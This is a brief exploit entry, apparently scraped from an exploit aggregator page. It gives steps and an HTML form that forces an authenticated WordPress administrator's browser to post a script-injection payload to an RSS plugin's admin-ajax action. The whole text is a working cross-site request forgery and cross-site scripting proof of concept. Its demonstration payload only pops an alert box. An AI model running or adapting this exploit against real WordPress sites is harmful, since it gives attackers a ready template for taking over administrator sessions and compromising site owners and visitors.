## https://sploitus.com/exploit?id=WPEX-ID:52A71BF1-B8BC-479E-B741-EB8FB9685014
Save the HTML below to a file with the .html extension, then open it in Firefox, while being authenticated in a separate tab to a WordPress site with the plugin installed.
<html>
<form action="http://example.com/wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action" method="POST">
<input type="text" value="<html><img src onerror=alert(`XSS`)>" name="id">
<input type="submit" value="Send">
</form>
</html>